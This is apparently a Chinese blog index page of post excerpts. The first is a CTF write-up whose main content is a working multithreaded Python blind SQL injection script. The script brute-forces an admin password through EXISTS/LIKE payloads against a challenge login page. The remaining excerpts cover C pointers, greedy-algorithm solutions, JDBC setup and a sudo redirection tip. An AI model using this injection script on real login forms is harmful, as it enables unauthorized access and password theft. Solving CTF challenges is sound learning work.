0%

sql injection to find password

题目地址:https://introctf.herokuapp.com/chall/2

一个靶机上有两道题目,第一道很简单,就是sql注入登陆即可,第二道用到了sql中的exists like 猜解密码
参考地址

写个python脚本磕磕绊绊用了一下午才调试成功,主要是单线程太慢,多线程又有许多的限制没有搞定
简单说一下多线程的几个坑:
1. 因为爆破的是一个密码,所以在修改密码的时候只能有一个线程修改密码,密码需要一个互斥量
2. 线程不能太多,需要控制线程数,所以需要一个互斥量来控制线程数
3. 因为flag中会有'_'字符,但是在sql中的like 子句中 _代表的是任意一个字符,所以需要使用转移语法
4. ** 假如你的程序越来越慢,最后卡死的话,不妨检查检查互斥量的值是不是一直减少,线程数逐渐减少**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests
import string
import threading



maxconnection=5
connection_lock=threading.BoundedSemaphore(value=maxconnection)
passwdlock=threading.Semaphore(1)
foundlock=threading.Semaphore(1)



url='https://ctfprob2.herokuapp.com/bobsadminpage/login.php'
dictionary=string.ascii_letters+'{}'+string.digits+'_'






passwd="fl"
#bug1=flag{sql_1nJ3C
Found=False
#final password: flag{sql_1nJ3C710N_1S_k3WL}

def brutepassword(d):
global passwd
global Found
if Found:
#一定要添加connection_lock.release(),否则直接return false,导致互斥量越来越少,最终只剩下主进程,陷入无限死循环中
connection_lock.release()
return False
data={'username':'admin','password':''}
if d=='_':
d='/_'
#使用了escape 定义了转义符为/,所以like中的'/_'代表就是转义字符'_'
data['password']="' or exists(select * from users where username='admin' and password like '" +passwd+d+"%' escape '/') and ''='"
html=requests.post(url,data=data).text
if 'script' in html:#right
Found=True
#passwdlock.acquire()
#因为有的时候d会被转义是两个字符'\_',但是我们只需要最后一个字符就可以了
passwd=passwd+d[-1]
#passwdlock.release()
print('current password: '+passwd)
if(d=='}'):
print('final password: '+passwd)
exit(0)
else:
#print("wrong word: "+passwd+d)
pass

connection_lock.release()







def main():
global Found
global passwd

#thread=[]
#p=Pool(processes=5) 244
while True:
for d in dictionary:
connection_lock.acquire()
t=threading.Thread(target=brutepassword,args=d)
num=threading.active_count()
#print(num)
#print(connection_lock._value)
#print(connection_lock)
t.start()
#thread.append(t)
#p.apply_async(func,args=d)
if Found:
#foundlock.release()
break


Found=False

if '}' in passwd:
break



if __name__ == '__main__':
main()
'''
p=Pool(4)
while True:
for i in range(10):
p.apply_async(func,str(i))

p.close()
p.join()
'''
阅读全文 »

深入理解 c 指针学习

看《深入理解c指针》复习了一些c指针的东西

常量指针

指针的读法

指针的读法应该是从右向左读,举几个例子
int * const cpi=#
1. cpi是一个变量 cpi 2. cpi是一个常量 const cpi 3. cpi是一个常量指针 * const cpi 4. cpi是一个指向int类型的常量指针 int * const cpi

阅读全文 »

实验楼 第 20 期 c++ 再深入

今天完成了实验楼第 20 期的三道题目 pretty interesting

优化,优化!

优化代码性能,这个题目很简单,首先想到的就是去掉递归,最容易想到的,就是类似于动态规划中备忘录的方法

1
2
3
4
5
6
7
8
int fib(const int i){
int tmp[46];
tmp[0]=0;
tmp[1]=1;
for(int i=2;i<=45;i++)
tmp[i]=tmp[i-1]+tmp[i-2]
return tmp[45];
}
阅读全文 »

51nod 1133 不重叠的线段

简单的贪心算法,类似于活动安排的思想,为了选择尽可能多的线段,应该选择终点小的线段

首先把线段按照终点排序,依次选择不重叠的线段,就可以安排可能多的线段了

最优子结构性质:
假如选择了第一个,那么就要在余下的时间里选择最多的选择

贪心选择:
选择终点早的线段,可以使得选择的线段尽可能多,这就是贪心选择

阅读全文 »

稍微有点难的贪心算法题目

最优子结构:
前n条线段重叠的最大距离=max(前n-1条线段的重叠的最大距离,第n条线段和前n-1条线段重叠的距离)

贪心选择:
计算第n条线段与前n-1条线段中的一条线段的重叠长度时,
test

\[重叠长度= \begin{cases} 另一条线段的终点-当前线段的起点,&if 当前线段终点大于另一条线段终点 \\ 当前线段终点-当前线段的起点,& if 当前线段终点小于另一条线段终点 \end{cases} \]

当前线段的终点我们没办法选择,但是我们可以选择另一条线段的终点,让它最大,所以我们可以维护一个最大的线段右端点(并不是最长线段的右端点),也就是说和这条线段计算可以获得当前的最长重叠长度,也就是贪心选择性质

阅读全文 »

51nod 1344 走格子

也是比较简单的贪心算法,最喜欢这种比较简单的题目了2333

最优子结构性质:
走完前n个格子所需要的初始能量最小,等于走完前n-1个格子所需要的初始能量加上从第n-1个格子走到第n个格子所需要初始能量

贪心性质:
尽可能给最少的初始能量,所以只在能量为负数时,给初始能量,给得初始能量只能让机器人的能量给0,能够移动就可以了

代码:

阅读全文 »

51nod 1182 完美字符串

超级简单的贪心算法
首先将n个字符按照字符个数进行排序,尽可能让完美度最大的话,就是让字符个数多的得到较大的完美度,就可以得到最后的最大完美度了

最优子结构:
\[i个字符的完美度=前i-1个字符完美度+当前字符最大完美度(给当前字符赋予最大的完美度)\]

贪心选择:
尽可能给字符个数较多的字符较大的完美度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <iostream>
#include<stdio.h>
#include<string>

using namespace std;

void insert_array(int a[])
{
int tmp=0;
for(int i=1; i<26; i++)
{
int j=i;
while(j>0&&a[j]>a[j-1])
{
tmp=a[j];
a[j]=a[j-1];
a[j-1]=tmp;
j--;
}
}
}


int main()
{
char s[10005];
scanf("%s",s);
int temp[26];
for(int i=0; i<26; i++)
temp[i]=0;
for(int i=0; s[i]!='\0'; i++)
{
if(s[i]-97>=0)
temp[s[i]-97]++;
else if(s[i]-65>=0)
temp[s[i]-65]++;

}
insert_array(temp);
int sum=0;
for(int i=26; i>=0; i--)
{
if(temp[26-i]>0)
sum+=temp[26-i]*i;
else
{
while(temp[i]==0)
i--;
}
}
cout<<sum<<endl;

}

阅读全文 »

使用java jdbc驱动连接数据库

今天做一个jsp注册的小demo,突然就想连接数据库,做一个真正的demo,所以就有了诸多的事情
jsp连接mysql数据库需要使用jdbc驱动,jdbc驱动的下载地址是https://dev.mysql.com/downloads/connector/j/,在下面选择platform independent,然后下载第一个或者第二个都是可以的,之后解压压缩包,得到里面的一个** mysql-connector-java-8.0.11.jar ** 文件,这个文件就是我们主要的驱动文件。

准备工作

emmm 假如你出现找不到package的错误,你可以采取下面几个措施(可能有效,滑稽):
1. 把mysql-connector-java-8.0.11.jar放到tomcat的lib目录下面 2. 右键工程名,找到properties,找到Java Build Path,在右侧 add External JARS,添加mysql-connector-java-8.0.11.jar
3. 添加mysql-connector-java-8.0.11.jar到系统环境变量CLASS_PATH中去

一个简单的demo

阅读全文 »

函数指针的使用

昨天在看go语言中参数声明的方式的博客发现了函数指针。c语言中指针的使用尤为复杂,其中函数指针的用法最实用也最复杂,总结一下函数指针的使用

函数类型和函数指针类型

函数类型就是一个函数,函数指针就是一个指向函数的指针,需要注意的是在我们把一个函数赋值给一个函数指针的时候,会自动把函数类型转型为函数指针
int (*p)(int a,int b)=test //test是一个函数,自动转型
int (*p)(int a,int b)=&test //这种是正常函数指针赋值

函数指针的创建

阅读全文 »

echo something to proc/hello permission denied

在学习与proc有关的内核模块开发的时候,创建了一个可读写的proc文件,但是写的时候发生了权限错误。。。。 sudo echo "temp" > /proc/hello
permission denied

一开始看的答案以为是sudo 与suid有关啥的,结果看了另一个答案,发现原因并不是那样
真正的原因是这样的:
我们都知道linux中可以运行一个命令,然后把命令的输出重定向到文件中去。所以我们的命令可以这样解释sudo echo "temp"这是一个命令,这个命令是通过root权限运行的,之后把运行的结果重定向到/proc/hello中去,这时候的重定向已经变成了普通用户的权限。

解决方法:
1. su 全部都是root权限 2. tee 三通 echo "temp" |sudo tee /proc/hello 3. sudo sh -c "echo "temp" > /proc/hello" #使用root权限运行sh一条命令